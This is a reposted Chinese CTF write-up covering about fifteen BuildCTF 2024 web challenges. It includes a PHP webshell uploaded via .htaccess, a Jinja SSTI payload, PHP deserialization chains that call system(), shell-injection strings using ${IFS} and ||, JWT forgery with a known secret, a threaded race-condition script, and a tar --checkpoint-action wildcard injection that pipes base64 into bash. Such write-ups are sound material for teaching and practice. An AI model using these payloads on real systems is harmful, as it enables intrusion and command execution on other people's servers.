0


BuildCTF 2024 web

babyupload

上传 .htaccess

  1. AddType application/x-httpd-php .png

上传 1.png

  1. GIF89a
  2. <?=`$_POST[1]`;?>

就可以直接绕过进行命令执行拿到flag了

ez!http

一些http头的伪造

  1. POST / HTTP/1.1
  2. Host: []:42737
  3. Content-Length: 9
  4. Pragma: no-cache
  5. Cache-Control: no-cache
  6. Upgrade-Insecure-Requests: 1
  7. Origin: http://[]:42737
  8. Content-Type: application/x-www-form-urlencoded
  9. User-Agent: buildctf
  10. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  11. Referer: blog.buildctf.vip
  12. Accept-Encoding: gzip, deflate
  13. Accept-Language: buildctf
  14. x-forwarded-for: 127.0.0.1
  15. Connection: close
  16. Date: 2042.99.99
  17. From: root@buildctf.vip
  18. Via: buildctf.via
  19. user=root&getFlag=This_is_flag
RedFlag
  1. import flask
  2. import os
  3. app = flask.Flask(__name__)
  4. app.config['FLAG']= os.getenv('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/redflag/')defredflag(redflag):defsafe_jinja(payload):
  5. payload = payload.replace('(','').replace(')','')
  6. blacklist =['config','self']return''.join(['{{% set {}=None%}}'.format(c)for c in blacklist])+ payload
  7. return flask.render_template_string(safe_jinja(redflag))

根据代码可知config里面存在flag, 获取config的值就行
利用flask里面的

  1. get_flashed_messages

函数

payload:

  1. url/redflag/{{get_flashed_messages.__globals__['current_app'].config}}
LovePopChain
  1. <?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;publicfunction__wakeup(){if($this->NoLove=="Do_You_Want_Fl4g?"){echo'Love but not getting it!!';}}publicfunction__invoke(){$this->Forgzy=clonenewGaoZhouYue();}}classGaoZhouYue{public$Yuer;public$LastOne;publicfunction__clone(){echo'最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}}classhybcx{public$JiuYue;public$Si;publicfunction__call($fun1,$arg){$this->Si->JiuYue=$arg[0];}publicfunction__toString(){$ai=$this->Si;echo'I W1ll remember you';return$ai();}}if(isset($_GET['No_Need.For.Love'])){
  2. @unserialize($_GET['No_Need.For.Love']);}else{highlight_file(__FILE__);}

反序列化, 比较简单的利用

  1. //poc链// MyObject::__wakeup -->hybcx::__toString() -->MyObject::__invoke() -->GaoZhouYue::__clone$a=newMyObject();$a->NoLove=newhybcx();$a->NoLove->Si=newMyObject();echourlencode(serialize($a));//y3y4=system("cat /ofl1111111111ove4g");
find-the-id

比较简单, bp直接爆破, 爆破相应的数字可以直接拿到flag

ez_md5
  1. 第一关: sql注入里面的md5加密的密码, 直接套万能密码传参
  2. ffifdyop

第二关:

  1. <?phperror_reporting(0);///robotshighlight_file(__FILE__);include("flag.php");$Build=$_GET['a'];$CTF=$_GET['b'];if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('不可以哦!');}}if($Build!=$CTF&&md5($Build)==md5($CTF)){if(md5($_POST['Build_CTF.com'])=="3e41f780146b6c246cd49dd296a3da28"){echo$flag;}elsedie("再想想");}elsedie("不是吧这么简单的md5都过不去?");?>

需要爆破md5, 题目给了提示: md5(114514xxxxxxx)
直接爆它的md5值

  1. <?php// 目标 MD5 哈希值$target_hash="3e41f780146b6c246cd49dd296a3da28";// 固定的前缀$prefix="114514";// 字符集$chars="0123456789";$length=7;// 生成所有可能的字符串functiongenerate_strings($chars,$length,$prefix){$count=strlen($chars);$total_combinations=pow($count,$length);for($i=0;$i<$total_combinations;$i++){$current=$prefix;$num=$i;for($j=0;$j<$length;$j++){$current.=$chars[$num%$count];$num=(int)($num/$count);}yield$current;}}foreach(generate_strings($chars,$length,$prefix)as$test_string){$hash=md5($test_string);if($hash===$target_hash){echo"Found: $test_string\n";break;}}//1145146803531
Why_so_serials?
  1. <?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classGotham{public$Bruce;public$Wayne;public$crime=false;publicfunction__construct($Bruce,$Wayne){$this->Bruce=$Bruce;$this->Wayne=$Wayne;}}if(isset($_GET['Bruce'])&&isset($_GET['Wayne'])){$Bruce=$_GET['Bruce'];$Wayne=$_GET['Wayne'];$city=newGotham($Bruce,$Wayne);if(preg_match("/joker/",$Wayne)){$serial_city=str_replace('joker','batman',serialize($city));$boom=unserialize($serial_city);if($boom->crime){echo$flag;}}else{echo"no crime";}}else{echo"HAHAHAHA batman can't catch me!";}

反序列化字符串逃逸, 需要自己去构造, 数出需要逃逸出多少

  1. <?phpclassGotham{public$Bruce;public$Wayne;public$crime=false;}$a=newGotham();$a->Bruce='1';$a->Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';//";s:5:"crime";b:1;} -->需要逃逸的$serial_city=str_replace('joker','batman',serialize($a));echo$serial_city;//batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman
tflock

/robots.txt

题目感觉有点抽象, 根据题目的提示: 题目名补充为true & false lock(真假锁定)
在拿题目给的密码字典爆破了两三次后就可以登录拿到flag了

sub
  1. import datetime
  2. import jwt
  3. import os
  4. import subprocess
  5. from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
  6. from werkzeug.security import generate_password_hash, check_password_hash
  7. app = Flask(__name__)
  8. app.secret_key ='BuildCTF'
  9. app.config['JWT_SECRET_KEY']='BuildCTF'
  10. DOCUMENT_DIR = os.path.abspath('src/docs')
  11. users ={}
  12. messages =[]@app.route('/message', methods=['GET','POST'])defmessage():if request.method =='POST':
  13. name = request.form.get('name')
  14. content = request.form.get('content')
  15. messages.append({'name': name,'content': content})
  16. flash('Message posted')return redirect(url_for('message'))return render_template('message.html', messages=messages)@app.route('/register', methods=['GET','POST'])defregister():if request.method =='POST':
  17. username = request.form.get('username')
  18. password = request.form.get('password')if username in users:
  19. flash('Username already exists')return redirect(url_for('register'))
  20. users[username]={'password': generate_password_hash(password),'role':'user'}
  21. flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST','GET'])deflogin():if request.method =='POST':
  22. username = request.form.get('username')
  23. password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):
  24. access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow()+ datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
  25. response = make_response(render_template('page.html'))
  26. response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return response
  27. else:return jsonify({"msg":"Invalid username or password"}),401return render_template('login.html')@app.route('/logout')deflogout():
  28. resp = make_response(redirect(url_for('index')))
  29. resp.set_cookie('jwt','', expires=0)
  30. flash('You have been logged out')return resp
  31. @app.route('/')defindex():return render_template('index.html')@app.route('/page')defpage():
  32. jwt_token = request.cookies.get('jwt')if jwt_token:try:
  33. payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
  34. current_user = payload['sub']
  35. role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg":"Token has expired"}),401except jwt.InvalidTokenError:return jsonify({"msg":"Invalid token"}),401except Exception as e:return jsonify({"msg":"Invalid or expired token"}),401if role !='admin'or current_user notin users:return abort(403,'Access denied')file= request.args.get('file','')
  36. file_path = os.path.join(DOCUMENT_DIR,file)
  37. file_path = os.path.normpath(file_path)ifnot file_path.startswith(DOCUMENT_DIR):return abort(400,'Invalid file name')try:
  38. content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:
  39. content =str(e)except Exception as e:
  40. content =str(e)return render_template('page.html', content=content)else:return abort(403,'Access denied')@app.route('/categories')defcategories():return render_template('categories.html', categories=['Web','Pwn','Misc','Re','Crypto'])if __name__ =='__main__':
  41. app.run(host='0.0.0.0', port=5050)

审计一下代码, 直接利用给出的密钥生成role为admin的用户, 进入到 /page页面(在Cookie里面加上jwt的值)

  1. content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

subprocess.check_output可以执行系统命令 , 利用file传参的值进行一个命令执行, 绕过一下(在bp里面做的)

  1. /page?file=1;cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag
我写的网站被rce了?

多个功能点都试试, 可以发现在查看日志的时候是会传参

  1. log_type=access

查看

  1. /var/log/nginx/access.log

日志, 可以控制查看日志的名字, 尝试输入一些其他的参数, 会发现存在一个过滤
根据题目的名字可能就是在这里存在一个rce,
可控的参数这里想要执行命令, 那么需要将它与它前面的值和后面的值给分隔开 , 可以用到 || (

  1. %0a

也可以)

  1. log_type=||whoami||

然后空格, cat啥的也被过滤了, 绕过一下就行

  1. log_type=||ca''t${IFS}/f???||
刮刮乐

根据提示传参cmd , 以及修改请求头Referer

这道题有点懵,需要在后面加个

  1. ;

就可以直接执行命令

  1. ?cmd=cat /flag;
eazyl0gin

根据提示:

  1. routes/users.js
  1. router.post('/login',function(req,res,next){var data ={
  2. username:String(req.body.username),
  3. password:String(req.body.password)}const md5 = crypto.createHash('md5');const flag = process.env.flag
  4. if(data.username.toLowerCase()==='buildctf'){return res.render('login',{data:"你不许用buildctf账户登陆"})}if(data.username.toUpperCase()!='BUILDCTF'){return res.render('login',{data:"只有buildctf这一个账户哦~"})}var md5pwd = md5.update(data.password).digest('hex')if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){return res.render('login',{data:"密码错误"})}return res.render('login',{data:flag})})

审计代码用户名会经过

  1. toUpperCase()

满足与

  1. BUILDCTF

相等就行
在js里面存在一个大小写转换的漏洞,也就是
对于toUpperCase(): 字符

  1. "ı"

  1. "ſ"

经过toUpperCase处理后结果为

  1. "I"

  1. "S"

对于toLowerCase(): 字符

  1. "K"

经过toLowerCase处理后结果为

  1. "k"

(前⾯这个K不是字⺟K)

通过这个绕过用户名, 然后密码给了一个md5值, 可以直接解出来是

  1. 012346

直接登录

  1. buıldctf / 012346

就能拿到flag

Cookie_Factory

不太理解 , 贴一下官方wp

  1. // your value is only updated server-side when the client
  2. // acknowledges an error by sending the receivedError event
  3. // so you can just disable this
  4. // paste this into the JS console
  5. socket.off('error');
  6. socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
  7. socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
  8. // you have to send it twice since it only updates
  9. // once the already-stored point value on the server side is
  10. // more than 1e20
ez_waf

对文件的后缀名没有过滤, 可以直接上传

  1. .php

文件, 但是对文件的内容过滤的比较死

搜索一下对文件内容绕过的方法
参考文章:

  1. https://www.cnblogs.com/murkuo/p/15085555.html

最后提到了一种 填充垃圾数据,造成溢出后使WAF崩掉 , 从而绕过文件内容的检查
我直接在前面加了10000个a可以成功绕过, 访问 /uploads/1.php直接执行命令就行
(没有回显上传的路径, 盲猜uploads路径, 或者也可以目录扫描一下)

在这里插入图片描述

fake_signin
  1. import time
  2. from flask import Flask, render_template, redirect, url_for, session, request
  3. from datetime import datetime
  4. app = Flask(__name__)
  5. app.secret_key ='BuildCTF'
  6. CURRENT_DATE = datetime(2024,9,30)
  7. users ={'admin':{'password':'admin','signins':{},'supplement_count':0,}}@app.route('/')defindex():if'user'in session:return redirect(url_for('view_signin'))return redirect(url_for('login'))@app.route('/login', methods=['GET','POST'])deflogin():if request.method =='POST':
  8. username = request.form['username']
  9. password = request.form['password']if username in users and users[username]['password']== password:
  10. session['user']= username
  11. return redirect(url_for('view_signin'))return render_template('login.html')@app.route('/view_signin')defview_signin():if'user'notin session:return redirect(url_for('login'))
  12. user = users[session['user']]
  13. signins = user['signins']
  14. dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"),False))for i inrange(1,31)]
  15. today = CURRENT_DATE.strftime("%Y-%m-%d")
  16. today_signed_in = today in signins
  17. iflen([d for d in signins.values()if d])>=30:return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)@app.route('/signin')defsignin():if'user'notin session:return redirect(url_for('login'))
  18. user = users[session['user']]
  19. today = CURRENT_DATE.strftime("%Y-%m-%d")if today notin user['signins']:
  20. user['signins'][today]=Truereturn redirect(url_for('view_signin'))@app.route('/supplement_signin', methods=['GET','POST'])defsupplement_signin():if'user'notin session:return redirect(url_for('login'))
  21. user = users[session['user']]
  22. supplement_message =""if request.method =='POST':
  23. supplement_date = request.form.get('supplement_date')if supplement_date:if user['supplement_count']<1:
  24. user['signins'][supplement_date]=True
  25. user['supplement_count']+=1else:
  26. supplement_message ="本月补签次数已用完。"else:
  27. supplement_message ="请选择补签日期。"return redirect(url_for('view_signin'))
  28. supplement_dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"))for i inrange(1,31)]return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)@app.route('/logout')deflogout():
  29. session.pop('user',None)return redirect(url_for('login'))if __name__ =='__main__':
  30. app.run(host='0.0.0.0', port=5051)

分析代码, 需要签到满30次以上才能够拿到flag, 但是我们只能签到一次, 补签一次

想要能够签到30次, 需要想办法补签的次数提高

在这个路由下

  1. /supplement_signin

存在⼀个并发漏洞 ,

  1. user['supplement_count']

是一个共享状态, 可以进行一个并发请求,
使得

  1. user['supplement_count']

被多次更新绕过检查
写个代码并发执行一下, 登录后就可以看到flag了

  1. import requests
  2. import threading
  3. url='http://27.25.151.80:45280/supplement_signin'
  4. url_login='http://27.25.151.80:45280/login'
  5. login_data={"username":"admin","password":"admin"}
  6. datas=[f"2024-09-{i:02d}"for i inrange(1,31)]# print(datas)
  7. session=requests.session()
  8. session.post(url=url_login,data=login_data)defsupplement_signin(supplement_data):
  9. data={"supplement_date":supplement_data}
  10. res=session.post(url=url,data=data)print(res.status_code)
  11. threads=[]for supplement_data in datas:
  12. thread=threading.Thread(target=supplement_signin,args=(supplement_data,))
  13. thread.start()
  14. threads.append(thread)for thread in threads:
  15. thread.join()
打包给你

关键代码

  1. @app.route('/api/download', methods=['GET'])defdownload():@after_this_requestdefremove_file(response):
  2. os.system(f"rm -rf uploads/{g.uuid}/out.tar")return response
  3. # make a tar of all files
  4. os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")# send tar to userreturn send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')

tar有通配符*的漏洞

可以参考文章:

  1. https://www.cnblogs.com/jhinjax/p/17067082.html

通过控制文件名进行命令执行, 因为

  1. ..

  1. /

被过滤, 使用

  1. base64

进行绕过

–checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许运行一个任意的命令

  1. --checkpoint=1 ==> 作为文件名
  2. ls /> $(pwd)/test.txt
  3. --checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash ==> 作为文件名

在这里插入图片描述

第一次下载之后就会执行命令, 生成 test.txt文件, 然后第二次下载就可以看到test.txt文件里面列出来的根目录

然后替换命令

  1. cat /Guess_my_name

就可以拿到flag了

在这里插入图片描述

标签: ctf web buildctf

本文转载自: https://blog.csdn.net/2302_80472909/article/details/143524462
版权归原作者 pwfortune 所有, 如有侵权,请联系我们删除。

“BuildCTF 2024 web”的评论:

还没有评论